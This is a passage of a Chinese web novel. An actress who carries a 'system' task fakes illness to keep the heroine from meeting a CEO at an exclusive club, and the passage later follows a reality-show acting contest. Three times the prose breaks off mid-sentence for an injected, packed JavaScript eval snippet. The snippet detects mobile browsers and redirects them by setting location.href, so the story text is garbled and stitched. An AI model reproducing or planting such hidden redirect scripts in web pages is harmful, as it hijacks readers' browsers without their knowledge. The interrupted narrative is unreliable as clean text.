沈颂绝双手环胸,眸色暗沉的看着她:“你真不会以为你那拙劣的演技能骗过所有人吧?” 听到自己演技被批,她条件反射地争辩:“你可以说我丑,但不能说我演技差!我演的哪里不好!” 说完之后,她猛然闭嘴。 沈颂绝的眼睛隐藏在鸭舌帽的阴影下,看不清神色,但是顾映能明显感觉到他身上一瞬间的冷冽气息。 她尴尬地环顾四周,见没有人注意他们,才用她和沈颂绝能听见的声音道:“你别像审犯人似的。” “我看是你做贼心虚。”他冷声道:“说吧,你到底想做什么?” 顾映闭上眼睛,不说话。 “不说也可以。”他勾了勾唇:“那我只能回去如实告诉节目组,你没病装病……” “哎,你等等!我说!”顾映用躺在床上的姿势,一把抱住他的大腿:“但是你得答应我一个条件。” 顾映刚好抱在了敏感的地方,沈颂绝眉宇间浮起愠怒:“顾映映,你放开!” “你不答应我不放!” 沈颂绝扫了一眼四周,好在旁边有帘子遮挡,周围的人又都满心铺在自己的亲属身上,无暇注意他们这边。 他叹了口气,无奈道:“什么条件?” 见他松口,顾映慢慢松了力道:“我需要你配合我,等会儿睁只眼闭只眼啥也别管,我要去观澜。” 沈颂绝没说话。 沉默。 顾映加紧了手下的力道。 沈颂绝咬牙道:“可以。现在可以说了?” 顾映招了招手,示意他附耳过来。 沈颂绝冷漠地看了她一眼,神色中透着些不耐,但还是俯下身子。 顾映半爬起身,凑到他耳边,一瞬间一股热息和兰花香味盈满身侧,沈松绝呼吸微滞。 顾映未发觉,兀自小声道:“祁氏集团有坏人想要潜规则林清弦,我要阻止他们见面!” 这话半真半假,她自觉也不算撒谎。 沈颂绝直起身,狐疑地看着她:“你怎么知道的?” “我听公司人说的。” “那你为什么不直接告诉林清弦?” “没证据的事,她以为我危言耸听怎么办?” “……” “这可关乎一个年轻女孩的声誉和她未来的职业生涯,我都告诉你了,你可要保密啊!”顾映做戏做全套,一副为他人着想的高尚模样。 沈颂绝上下打量了她一眼,因为打滚了半天,头发妆容已经凌乱,但是一双眼睛却炯炯有神。 从什么时候开始,顾映映也会有这么真诚的眼神了? “你居然会有这么好心?”他不由问出这句话。 顾映斜睨了他一眼:“你知道白雪公主为什么命途坎坷吗?” 不知道为什么她的思维突然跳跃到这上面来,沈颂绝没有接话。 顾映自问自答:“因为身边小人太多了!” “……” “所以女性帮助女性,人人有责。你不懂。” 沈颂绝确实不太懂。 他不懂的是,曾经那个在念书时期将女同学堵在厕所欺负的顾映映,现在居然能大言不惭地说出女性帮助女性这种话。如果不是面前的人长着和顾映映一样的脸,他都要怀疑她被人调包了。 “你……” “映映姐!” 于萌气喘吁吁地跑了过来,打断了沈颂绝的未尽之言。 “你怎么样了?怎么会突然肚子疼呢?” 她身后跟着刚交完费的小吴。 顾映暗暗地拽了拽沈颂绝的衣摆,朝他使眼色。 配、合、我。 拜、托。 沈颂绝拧眉,最终还是叹了口气,捏了捏鼻梁,转过脸去。 于萌认出沈颂绝,不由一愣。她赶紧瞥了眼身后的小吴,见他神色无常,才看向躺在床上的顾映,压低声音问:“沈老师怎么也在这里,你们……”不是隐婚吗,这么大张旗鼓的一起来医院没问题吗? 见于萌一脸八卦的样子,知道她想岔了,顾映眨了眨眼道:“哦,那个,沈老师是《action!演员》的导师,这不发扬雷锋精神,送我来医院嘛,这大晚上的,真的麻烦他了!” 说完,她看向小吴道:“小吴,真不好意思,这么晚也麻烦你了。” 刚毕业的小男生突然被这样一个明艳大美女面带歉意地看着,倏一下红了脸。他腼腆地摆手道:“别客气顾老师,这是我应该做的。哦对了,我刚刚已经交了化验费,等会儿要去抽血化验。” 顾映赶紧道:“我现在感觉好多了。这是我助理于萌,余下的事情就交给她好了,麻烦你先送沈老师回家吧。” “啊?”小吴愣了愣,看向一旁的沈颂绝。 顾映干咳一声。 沈颂绝面不改色道:“我有点急事得回去,辛苦你开车送我一下。” “不辛苦不辛苦,那……” “放心,这里就交给我吧。”于萌有眼力见地接过小吴手里的缴费单。 临走前,沈颂绝不动声色地看了一眼床上的顾映,虽然没说什么,但是警告意味十足。 别、惹、事。 顾映恶趣味的回了他一个wink。 沈颂绝始料未及:“……咳。” 小吴疑惑:“怎么了,沈老师?” “没什么,走吧。” 直到目送两人的背影消失在急诊室门口,顾映才一个纵身跳下床:“走,赶紧走!” 于萌震惊地盯着她:“你……” “说来话长,我晚点给你解释,我手机呢?”顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420708|200834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 映手忙脚乱的在枕头旁摸到手机,立刻打开打车软件。 定位,观澜。 好在这边的司机接单很快,手机显示还有三分钟。 “小萌,不好意思让你白跑一趟,我现在没事了,而且要去办一件十万火急的事,要是后面谁问起,你就说我肠胃炎,开了点药就完事儿了。”顾映一边交代一边急匆匆拿起墨镜帽子外套穿戴上。 “可是……” 话还没说完,面前的人已经一溜烟儿跑远了。 “……” *** 月华如水,夜色中的观澜大厦如同一盏琉璃水晶静静伫立,玻璃幕墙上流转着霓虹灯光,璀璨奢华。 这里是金鸣市顶级的社交场所,会员制,出入皆是名流。 祁裕站在顶层落地窗前,俯瞰着脚下灯火。 “祁总,袁导他们都到了。”助理方聪轻声提醒。 祁裕淡淡的嗯了一声:“让穆青去安排吧,今晚不过是一尽地主之谊,没必要我亲自过去。” “那小陆总那边?” “陆时羽?” “是的,傍晚时候,他预约了十三楼的茶室,说晚上要在这里会见朋友,现在已经到了,您要不要去打个招呼?” 沉吟了一会儿,祁裕点点头。 陆氏旗下的星河传媒是圈内的老牌影视企业,他现在想在这块蛋糕上分杯羹,自然要跟这些行内龙头打好关系。 陆时羽,星河集团董事长陆庭的小儿子,江湖人称小陆总,滨海市有名的富二代,因为外祖一家定居金鸣,所以他也经常待在这边。祁裕与他年纪相仿,想必以后也少不了打交道。 想着,他整理了下领带,转身示意:“准备点礼品带上。” “是。”方聪跟上他的步伐,提醒道:“不过小陆总约的朋友还没有到,他嫌喝茶无聊,一个人先去了一楼的酒廊。” “知道了。” *** 观澜作为高端圈层社交场所,其核心特色在于它的空间布局与功能分区。 大厦共有十九层,每一层都有个性化设计,比如首层大堂除了是接待区以外,还设了大型酒廊、西餐咖啡厅,二层又按照中式庭院风格设置了中餐厅、古董鉴赏厅。三层到十九层又分别设立康体中心、私宴厅、室内高尔夫、恒温泳池、spa俱乐部、雪茄吧、精致客房、阅读室、商务会议厅、瑜伽室、茶室、功能影院等。每层的装修风格也会根据功能的区别有不一样的设计。 袁导和艺人们到了之后就直接被安排到了四层的私宴厅,里面除了丰盛的夜宴以外,还安排了ktv、保龄球、台球等休闲活动。 “穆总,感谢这次合作的关照,我敬您一杯!”酒过三巡,袁导那圆滚滚的脸上已经红晕上头,眼神迷蒙。 穆青是云冕这边的市场部总监,约四十多岁的中年人,主要负责与《action!演员》的媒体和投资对接。 也是与袁昌打交道最多的人。 黄乐和穆泠会看眼色,见穆青能被袁弥勒这样捧着,两人已经一左一右地坐在穆青两边,殷勤地倒起酒来。另外几个年轻男艺人,也分坐两边,热情的与穆青敬酒。 穆青借着酒意,亲热的一手揽着一边,与袁昌等人推杯换盏。 只有林清弦和朱茜两人一直安静地坐着。 朱茜似乎是对这种场合习以为常,也不愿意上赶着恶心自己。与她的镇定自若相比,林清弦就显得有些坐立不安,她有些佩服的看着朱茜,不知道自己什么时候才能修炼到她这样的程度。 似乎是察觉到了林清弦的视线,朱茜了然一笑:“我早就提醒你们,不要抱什么妄想,这种场合,你真的以为是来吃夜宵的吗?”说着,她抬了抬下巴,悄声道:“像他们,才是顺应规则。” 林清弦忍不住问:“那您呢?” 闻言,朱茜自嘲哂笑:“我?曾经傲骨难训,所以这把年纪还在奋斗啊。” 明白了她话里的意思,林清弦默了默。 过了半天,她压低声音道:“茜姐,我觉得不管是您还是他们,都没错,只是选择不同而已。” 朱茜怔然,随后忍不住笑了。 她善意提醒:“既然不想在这里待着,不如找个借口出去吧。” 8. 观澜初遇 随着几碗黄汤下肚,穆青的眼神时不时在几位女士身上流连,黏腻且露骨。林清弦自问没有修炼到家,实在受不了包间里的氛围,便捏了个借口避了出来。 随便逛了逛,不知不觉来到一楼。 一楼除了酒廊和西餐厅以外,最吸引人注目的就是那高达约九米的管风琴,由上百根音管构成的垂直音墙,矗立在大厅的核心位置,宛如一座微型哥特式建筑。 每天,这里都会有专业的人员在此为客人弹奏乐曲,从欧式古典到中式传统,从轰鸣到低吟,让人感觉仿佛整栋建筑都有了呼吸。 一进观澜的时候,这架管风琴就吸引了林清弦的注意,但因为怕甲方久等,便也没再驻足观赏。 再走到这里,她不由的又被这庄严雄伟的乐器所吸引。 年少时,她也曾有过音乐梦想。 但说来好笑,因为很多现实问题,她其实从来没有机会真正触碰到音乐这两个字。后来为了生活奔忙,这些上流社会的东西更是没有见过。 在她看来,这架庞然体量的乐器除了视觉震撼以外,似乎还具有神性。 此时演奏人员已经休息,大厅里没有什么人。 林清弦缓缓走向管风琴,不由自主地伸手碰上它的琴键。头顶的灯光洒在身上,一袭白裙的她犹如在教堂加冕的圣女,神圣又迷人。 刚刚踏出电梯的祁裕和疾步跑进来的顾映同时看到这幅画面。 祁裕看到的是光晕下女孩纤细的背影,犹如希腊神话中温柔的神明。 顾映看到的是快要被豺狼盯上的绵羊,猎人的子弹必须尽快上膛。 “祁总?”方聪疑惑地看着驻足不前的祁裕。 还没等他反应过来,突然有阵风轻轻带过,似乎有道黑影以极快的速度往管风琴的方向跑去。 在林清弦转身的刹那,顾映及时按住了她的肩膀,并三下五除二,将自己的帽子戴到她头上,又从口袋里拿出一个黑色口罩盖住她的下半张脸。 “?”林清弦惊讶地看着她。 “嘘。” “怎么了?”林清弦下意识转头。 “别回头。”顾映眼疾手快地按住她,含蓄地说:“后面有不好惹的人。” “啊?”林清弦立马压低声音问:“你得罪谁了?” “说来话长,我晚点跟你解释,我们先走。” 顾映拉住她手腕,转身便要走。 “可是袁导他们还在上面……” “不管,让他们大人去处理。” “……?” 林清弦顺从地跟着走,但还是一肚子问题:“你不是去医院了吗?你肚子不疼了?谁送你来的呀?” 顾映没有回答。 “两位女士请留步。”身后有人喊道。 顾映闭耳不闻,拉着林清弦埋头往前头,如果现在给块田,她能默默犁两亩地。 林清弦不明所以,下意识的站住了脚,拉了拉顾映。 “映映姐,有人在叫我们。而且就这样走了是不是不太好。” 脑海里传来系统的声音:“宿主,堵不如疏,他们迟早会见面的。” 顾映停住步子。 她叹了口气:“你说的对。” 林清弦以为这句话是回答她的,笑了笑,拉着顾映一起转身。 祁裕和方聪一前一后走了过来,期间祁裕的视线一直放在林清弦身上。 方才那一幕还深深印在他脑海里,犹如看见了故人之姿,一时间急切和紧张的情绪涌上心头,他压根就没有顾上顾映诡异的行为。 “请问两位有什么事?”林清弦主动询问。 “你叫什么名字?”祁裕语带急切,似乎想尽快确认什么。 林清弦愣了愣。虽然面前这个男人长相俊朗,但从他的语气中还是感觉到了自以为是的上位者的冒犯。 顾映默默打量一下两个人。 祁裕不愧是原书中的男主,确实如书中描写的深邃冷峻、气质卓然,一双眼睛紧紧盯着林清弦,目光锐利。 好在林清弦戴着帽子和口罩,对方看不清楚她的脸。反观林清弦,似乎并没有因为祁裕的长相和气场受到影响。 顾映松了口气。 她笑了笑,将林清弦往后拉了拉,主动迎上祁裕的视线:“这位先生,我妹妹怕生,您有什么问题可以问我。” 因为将帽子给了林清弦,顾映只带了个口罩,上半张脸露在外头。作为专业的特助,一旁的方聪敏捷地认出这是公司目前投资综艺中的参赛演员之一。 他朝祁裕耳语了几句。 肉眼可见的,原本祁裕身上那股急切的情绪消散开,薄唇抿成冷酷的弧度,态度变成甲方的盛气凌人。 他冷漠道:“我问的是她。” “我叫林清弦,这位先生有何指教?”林清弦走上前一步,微微仰头,眼神也从和善变得凌厉。 听到她的名字,祁裕有些失望,但又莫名的松了口气。 不是她。 他还是不死心地问:“你为什么戴着口罩,我想看看你的脸。” 这句话问出来,连一旁的方聪都察觉出了一丝不对。他犹豫着是否要提醒老板,这样问一位女士,似乎不够绅士。 此时顾映的手在身后轻轻地摇了一下,林清弦也察觉到了什么,谨慎地说:“不好意思,我的脸过敏了,不方便。” 祁裕依旧认真打量着面前的人。虽然这个人的眼睛、嗓音都和那个女人不一样,但是身高、身材、气质却又相似。 他不由的失神。 顾映和林清弦面面相觑。 “先生,请问您是不是认错人了?”顾映故意问。 祁裕从回忆中拉回思绪,见面前两位女孩子对他都露出戒备的神色,他轻咳一声,说了第一句人话:“不好意思,可能是我搞错了。” 他转头对方聪说:“给两位女士各准备个礼物,表达一下我的歉意。” “是。” 虽然这样说,但他的眼神里却好像并没有什么歉意。见他助理习以为常的样子,看来冒犯了人之后送一个小礼物,是他惯用的手段。 顾映在心里翻了一个白眼。 祁裕又深深看了一眼林清弦,才往酒廊的方向走去。 看着两人离开的背影,林清弦转头看向顾映:“映映姐,你认识他。” 她这句不是疑问,而是陈述句。 顾映见招拆招,点头道:“他就是祁裕,云冕的负责人。” 林清弦惊讶地捂住嘴:“节目的投资人?那我们刚刚对他那个态度……” “他也没自报家门啊,我们不知者无罪。” “虽然这么说有点自作多情,但是我怎么感觉他好像对我很好奇?”林清弦疑惑地看着顾映,“而且我觉得你也好像知道些什么。” 想到系统那句‘堵不如疏’,顾映低头轻轻叹了口气。 她打好腹稿,半真半假地说起故事来:“据我所知,祁裕有个白月光,名叫钟茵。两人郎才女貌,曾经也是豪门圈中的一段佳话。但是后来白月光扔下他出了国,他就有些疯癫了。” 林清弦大惑不解:“出国了又不是去世了,他既然这么爱她,为什么不追出国,他一个大总裁,还能少几张机票钱?” 很好,这也是我想吐槽的,奈何古早作者不做人,非要这么设定。顾映忍不住腹诽。 “鬼知道。”她半掩住嘴,小声编造道:“据说他经常搭讪一些长相和钟茵类似的女孩子,让她们做白月光替身!” 林清弦瞪大眼睛:“你的意思是……” 顾映一脸严肃地说:“没错,我曾经见过钟茵,你的长相和她确实有些类似的地方。” 想了想她又补充:“不过美女都是相似的,你们只是恰好属于同一类型的长相,找替身不过是他们渣男打着深情的幌子欺负女同志而已!什么莞莞类卿,都是见异思迁的屁话!” 说着说着,她拳头硬了起来。 林清弦噗嗤一声笑了起来。 “你不信吗?” “我信啊。” 顾映收起差点飙出去的恨铁不成钢的眼神,睨了她一眼:“那你笑什么?” 话音刚落,系统的提示音突然响起。 【主线任务:帮助《总裁的替身娇妻》小说女主角林清弦改变原书命运。】 【当前进度:3%】 【死亡倒计时:666天】 【请宿主再接再厉!】 与此同时,林清弦笑吟吟地看着她:“没什么,就是觉得还从来没有遇到过像你这么热心肠的人。” 顾映看着系统的提示,尴尬地摆摆手:“嗐,那是你见过的好人还不够多。” “可能吧,但你肯定是第一个!” 顾映无奈地笑了笑。 她的好是有目的的,不过是为了完成任务而已。 她看向大厅里的高耸庄严的管风琴,想起剧情里就是在这里,林清弦被它吸引,与刚好出电梯的祁裕遇上,一转头,肖似钟茵的脸庞印入眼帘,从此被祁裕缠上。 想着,她岔开话题:“你喜欢这架琴?” 林清弦点点头:“第一次见到这么庞大壮观的乐器,有些好奇。” 顾映仰头看着这个建筑,轻声说道:“管风琴又叫会歌唱的建筑物,莫扎特曾称他为乐器之王。” “你懂管风琴?” 顾映摇头:“不懂,曾经演戏时,背了几句装逼的词而已。”想了想,她又道:“不过如果你想听曲子的话,我刚好会一首简单的。” 林清弦露出惊讶又期待的眼神来。 顾映臭屁地扬了扬头,在管风琴前坐下。 她将手指轻轻悬在键盘上方,回忆前世曾经为了试一部戏,特地去学的曲子。 随着手指和脚尖同时跳跃,欢快的音符刹那间从音璧中响起,所有的音管一起共鸣,仿佛这栋建筑突然苏醒了一般。 但如果这首曲子是《哆啦A梦》主题曲旋律的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈颂绝端起案几上的云雾公杯,斟了一杯茶至陆时羽面前,后者蹙起眉嚷嚷道:“不喝不喝,大晚上喝茶不睡觉啦,你以为都像你这个怪胎似的。”他挪了挪凳子,好奇道:“快说说,出什么事了?我可听说顾映映也参加这个节目了,你们在台上没吵架吧?” 作为沈颂绝的发小,陆时羽是为数不多知道两人结婚之事的人之一。 “我们是录综艺,又不是上金牌调解,吵什么架?”沈颂绝修长手指抚过杯沿,说的云淡风轻。 “那多没意思!”陆时羽轻嗤一声,“我还以为能听到什么劲爆的八卦呢,合着大晚上就喊我来喝茶了?” “你想听劲爆的还用来问我?你们公司不就有一箩筐。” 陆时羽略带调侃地笑道:“他们那些小儿科,翻来覆去没个新花样。这要是你沈影帝隐婚的消息爆出去,那才叫热门呢!” 沈颂绝淡淡地瞥了他一眼道:“收起你的幸灾乐祸,否则你新投资的那部戏我可不考虑了。” “哎,别!伤和气了不是。”陆时羽赶紧端起公杯斟上一杯热茶,“是兄弟我不懂事,我自罚一杯茶,罚我晚上睡不着觉!” 沈颂绝无奈地笑了笑。 一杯茶下肚,陆时羽继续道:“但是话说回来,两年之期一到,你真的要跟她离婚吗?要我说,你当初就不该答应这档子事!” “你不懂。”沈颂绝淡声道。 “我是不懂,反正我家老爷子要是非逼着我商业联姻,我肯定离家出走!” 沈颂绝没应声。 他继续喋喋不休:“要不,你们试着培养一下感情?也许顾映映也不是那么……算了,当我没说。” ‘无可救药’这几个字到了嘴边,又被他吞进喉咙。 毕竟他也曾亲眼见到过顾映映是怎样作天作地,刁蛮任性。 说完他悄悄睨了一眼沈颂绝的脸色。 沈颂绝面色不变,他端起茶杯不紧不慢地喝了一口,状似无意道:“如果一个人突然性情大变,且工作能力水平、说话方式都和以前迥然不同,你觉得会是什么原因?” 陆时羽反应很快:“你说顾映映?” 沈颂绝不置可否。 陆时羽想了想,拖长音调道:“这要是突然变化这么大的话……要么,是受什么刺激了,要么,就是中邪了。” “中邪?” “对啊!”陆时羽捻着茶杯神叨叨地道:“这小说、电视剧不都这么演么,一觉醒来重生了,被人魂穿了,或者绑定系统接了个什么任务,要么就是撞见什么不干净的东西了!” “阿嚏!”画面之外的顾映突然打了一个喷嚏。 “怎么了映映姐?”林清弦问。 顾映纳闷:“我怎么感觉我好像被人盲狙了?后背怪凉的。” 沈颂绝扯了下唇,觉得自己用一个很荒谬的问题问了一个很荒谬的人。 “你这是最近又看什么短剧了?” “你别不信哦,大千世界,无奇不有。” “确实。” “你信了?” 沈颂绝站起身,走向门口时,拍了拍陆时羽的肩膀,似笑非笑地说:“看到你,我确实相信‘无奇不有’。” 陆时羽愣了愣,半晌,反应过来,他朝着沈颂绝离开的背影大喊:“哎,不信就不信,你怎么还骂人呢!” 9. 复赛录制 翌日,《action,演员》紧接着又进入到第二轮的录制筹备当中。 后台化妆间内,顾映坐在镜子前昏昏欲睡。昨晚从观澜回到宿舍已经是凌晨一点,早上天还没亮就被宿舍其他人的说话声吵醒,总共睡了不到五个小时,现在上下眼皮恨不得沾到一起去。 以前经常拍夜戏的时候她也能熬,可惜,现在这幅千金大小姐的身子骨好像有点娇气。 “顾老师,您的妆造弄好了。”化妆师的声音在头顶响起,顾映迷迷糊糊睁开眼睛。 她看了看左右,黄乐、穆泠两个人一边化妆一边有说有笑,精神奕奕,一看就是习惯熬夜的人。 她屁股刚离开凳子,工作人员就在门外喊道:“顾老师,到您录备采了。” 顾映内心哀嚎一声,面上还是如一般牛马一样,响亮地应了一声。 从化妆间到备采室是一段走廊,林清弦刚录完,迎面走了过来。她的脸色也没比顾映好到哪儿去,两人相视一眼,皆露出苦笑。 备采录的比想象中要快,顾映也不记得自己说了什么,只记得自己一边与瞌睡作斗争,一边嘴在前面跑,脑子在后面追。 备采录完,剩下的就是到公共休息室等待录制了。 时间还早,为了不影响稍后的发挥,顾映想了想,还是决定先去茶水间冲杯咖啡。 凤鸣大厦很大,光一个冗长的U型走廊就差不多耗尽了顾映的耐心,眼看茶水间近在眼前,却在经过一间休息室时,从玻璃窗户不小心瞥见沈颂绝的身影。 定睛看去,沈颂绝坐在落地窗前的沙发上,正神色不耐的听袁昌讲话。 猜测两人正在沟通后续的录制流程,顾映也没打算多听,经过虚掩的门口时,却听见沈颂绝声音凛冽道:“冲突?” 顾映下意识地顿住脚步,竖起耳朵。 “对对对!”袁导忙不迭点头。“比如在待会儿的点评环节,咱们能不能加点‘料’?对选手稍微严厉一点,给点犀利点评。类似‘你根本不懂表演’或者‘这种水平也敢来参赛’之类的,效果绝对精彩!” 沈颂绝轻笑一声,语气里带着一丝嘲讽:“袁导,您是觉得我平时的点评不够犀利,还是觉得我的专业判断需要靠剧本来衬托?” 袁导一愣,脸上的笑容僵了僵:“不是这个意思,沈老师,咱们这是录综艺,不是正儿八经拍戏,这么做也是为了节目效果……” “节目效果?”沈颂绝打断他,声音冷了几分,“袁导,我是第一次录这种综艺,可能您对我不太了解。如果一个演员的表现确实有问题,我会直接指出,但是如果他有天赋、有努力,却让我为了所谓的’效果‘去贬低一个认真演戏的演员,抱歉,我做不到。” 袁导脸上有些挂不住:“沈老师,这毕竟是综艺,观众就喜欢看这种戏剧性……” “观众喜欢看的是真实的表演和专业的点评,而不是人为制造的狗血剧情。”沈颂绝站起身,扣起西装纽扣,“袁导,我是冲着老师的面子才答应来这个节目的,如果您觉得我的风格不适合,可以随时换人。” 说完,他转身离开,留下袁昌一脸尴尬地站在原地。 门外,听见脚步声逐渐走近,顾映一惊,向四周张望了一圈,手忙脚乱地躲到走廊的墙柱后面去。 直到沈颂绝和袁昌的身影前后消失在走廊尽头,她才悄悄地走了出来。 想起刚刚沈颂绝那副生人勿近的冷脸,顾映不由笑了笑。 “看来这家伙职业道德感还挺强的嘛。” *** 经过第一轮初赛的筛选,参赛选手已由原来的二十人淘汰至十人。 目前刚好男、女各剩五人。 第二轮的主题名叫「竞合」。 选手两两分组,两人共同完成一场情景命题表演。评委导师和观众会根据两人的表现分别打分,分数低的那一位将被淘汰。 所以,在这一场表演中,同组两人既是搭档也是对手,美其名曰在竞争与合作中互相成就。 这一场依旧和原书中一样,由排名前五的选手通过抽签方式来选择自己的队友。但因为多了顾映这个变数,原本前十名额有了微妙的差别,因此这次抽签的结果也多了悬念。 经过半小时的节目效果和主持人幽默的控场,最终抽签结果终于定了下来。 抽中顾映的是一位二十出头的新生代男演员,名叫关跃,选秀出道,因出演一部古偶网剧的男二号初露锋芒,因为长相优越,身材比例好,在网上有一堆小迷妹。 他在第一场的排名是第五名。 林清弦抽中的队友是排名第七的黄乐。在原书中,本轮与她搭档的原本是排名第六、一位名叫林翰的年轻男演员,而现在这位男演员却被排名第一的朱茜抽中。 顾映发现,从这些微小的变化开始,这本书逐渐有了不同的走向。 *** 毫无悬念的,前四组搭档中,都是排名靠前的淘汰了排名靠后的,留下来的分别是朱茜、林清弦、穆泠以及一位名叫叶明兆的男演员。 轮到顾映和关跃上场时,小伙子笑的很张扬,一副胜券在握的样子,似乎觉得胜负已定,淘汰掉顾映是必然趋势。 “映映姐,加油!”林清弦送上一个鼓励的抱抱时,在顾映耳边悄声道:“小心这个人。” 虽然不明所以,但顾映还是点了点头。 从后台走到台上这条路,顾映不动声色地打量着关跃。 第一场个人战的时候,顾映在后台留意过他的表演,虽不能说演技高超,但作为一个选秀出道的偶像,他的演技还算中规中矩,有他自己的闪光之处。 不管是现实还是在书中,娱乐圈中像他这个年纪的男演员不胜枚举,大多都是盘靓条顺,走的流量路线,演技好的不是没有,但大多流连于浮华,很少深耕其中。 而原书中,这个关跃更是路人甲一枚,在综艺中也只是一笔带过,没有更多描述。 那林清弦让她小心什么呢? 来不及细想,随着他们两人走到台上,前厅观众热烈的掌声已如潮水般涌来。 顾映知道,这个掌声是因为关跃,毕竟稍微帅一点的男演员总比同等条件下的女演员受欢迎。 主持人亲和的声音在耳边响起:“接下来上场的这对组合,男帅女美,相信你们比我更期待,让我们用热烈的掌声欢迎顾映映、关跃!” 正式表演前,依旧是一段简单的互动,随后由导师来出题。 祝怀疆带着老花眼镜,低头看了一眼台本,眉头紧皱,露出不满意的表情。 “节目组原本定的题目是《警察与毒枭》。”他将台本往视野前方挪了挪,戴着老花镜眯着眼睛看着上面细小的文字,慢悠悠地说:“但是我觉得这个题目太宽泛了,以防你们跑偏,我再加一点命题。” 这话说完,顾映敏感地注意到一旁的关跃脸色变了一瞬。 祝怀疆继续说:“我的题目是,一个是在逃多年终于落网的毒枭,一个是追查此案多年的缉毒警察,而在此次抓捕行动中,因为内鬼出卖,缉毒警察的搭档牺牲了,审讯室中,这是两人第一次面对面的心理交锋。” 一般情况下,剧本给的越细越好演,这也算是祝怀疆给年轻人降难度了。 在前面几轮中,他也根据演员情况适当的调整过剧本。 周震在一旁笑道:“祝老师这是给你们放水了,你们可要好好演啊!” 顾映微笑道:“谢谢祝老师。” 而一旁的关跃却像愣住了似的,好半天没有说话。 “关跃,你有什么问题吗?” “关跃?关跃!” 关跃如梦初醒,赶紧答道:“哦……没、没问题。” 主持人微笑道:“那两个角色,你们谁演警察,谁演毒枭?” 顾映还没来得及表态,关跃却抢着说道:“我演警察!” 说完,似是发现自己有些太过急切,他干笑着补道:“我一直想试试警察这样的角色来着,顾映映,你演毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420710|200834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枭应该没问题吧?” 顾映看到他眼神中一瞬间的躲闪和心虚。 她猜到了什么,也大概明白林清弦为什么让她小心关跃了。 想着,她大方地笑了笑:“我都可以。” 闻言,关跃似是松了一口气,脸色又恢复了从容淡定。 台下导师席,一直默默看着的沈颂绝,微微挑了下眉头。 随着一声action,表演开始。 【昏暗的审讯室内,审讯灯刺目的光源打在顾映脸上。 缉毒队长关跃靠坐在桌前,双手撑着桌子,低着头,发丝掩映下神色不明。】 时间已经过了快一分钟,关跃迟迟没有说话的迹象,导师们面面相觑,犹豫着是否要叫停。 【“关队。”打破沉默的是坐在审讯椅上的顾映,她嘴角挂着冷笑,声音沙哑低沉:“你们费了这么大力气把我抓回来,就为了让我看你在这里凹造型吗?” 这句话像是打破了什么关闸,坐在桌前的关跃突然站起,他拿起手边的文件夹,重重砸到顾映脸上,啪的一声,她的发丝被砸乱,文件夹滚落在地。 “顾映映,34岁,女,初中学历,毒蛇贩毒集团实际控制人,涉嫌走私、谋杀、洗钱……”他没有情绪起伏地念着,目光死死盯着她的眼睛。 似乎下一秒就要冲过来活剥了她。 “少了一项。”顾映突然笑了,眼神却冷的吓人,她身体前倾,手铐哗啦作响,“还有……袭警。” 关跃一瞬间怒目,捏起拳头,似乎在强忍着打人的冲动。 “周吴警官死了。”顾映像说着与自己无关的事一样,她静静地看着他:“你知道他是怎么死的吗?” 关跃猛地站起来,椅子在地面刮出刺耳声响。 顾映把玩着手上的镣铐,自顾自地说着:“周吴以为自己伪装的天衣无缝,却不知道他的同伴早就出卖了他,我们故意让他试毒,看着他浑身发抖、满地打滚,毫无尊严地爬……” “够了!”关跃大喝,他三两步走到顾映面前,扬起手,却迟疑着没有打下去。 顾映镇定地抬眸,似笑非笑:“怎么,关队这是要打人吗?”她挑衅地挑眉,“也对,你现在也只能在这里拿我撒气了,毕竟因为你们无能,所以周警官才会死的这么惨,不是吗?” 关跃喘着气质问:“说,内鬼是谁?” “你猜。” “顾映映,你不要以为我们不能拿你怎么样!” 像是听到什么笑话,顾映笑出声来,摊了摊手:“关队,我十二岁就出来闯了,无父无母无牵无挂,你以为我会怕吗?” 她放松地靠坐到椅背上,好整以暇地看着他,“更何况,供出内鬼来对我有什么好处?反而,看着你们这些警察内部充满猜疑,更能令我开心!” “你!”】 “停!” 舞台灯光逐渐亮起,顾映收起笑容,从椅子上站起来。而关跃却有些意外地转头,看向叫停的祝怀疆:“不好意思老师,我还没有演完呢。” 祝怀疆低着头整理桌面上的稿纸,没有说话。 一旁的周震无语道:“你全程不是沉默就是愤怒,情感没有丝毫递进,台词也接不上,要不是顾映映一直给你递词,第一幕就该给你们叫停了。” “……我当时是在酝酿情绪。”关跃单薄地解释。 “你的情绪是酒吗,要酝酿那么久?”沈颂绝不客气地指出,“你是个审问犯人的警察,不是和女朋友玩强制爱的霸道总裁,人家都在挑衅你了,你却还在摆造型?” “我没有……” “有没有我们都看在眼里了,你们的表演到此结束,可以开始打分了!”祝怀疆丝毫不留情面地打断,“再继续下去也是在浪费时间。” “我不服!”关跃突然大声喊道。 所有评委导师及主持人都有些惊讶地看向他。底下观众也都因为这一声哗然了起来。 袁昌在后台激动起来,看点来了看点来了! 10. 互换角色 “你不服什么?”岳碧酬推了推眼镜,“在我看来,刚刚的表演中你完全被顾映映压制,没有丝毫出彩的表现。” 关跃理直气壮地说:“这是角色的问题,顾映映选的是反派,发挥的空间更大一些。” 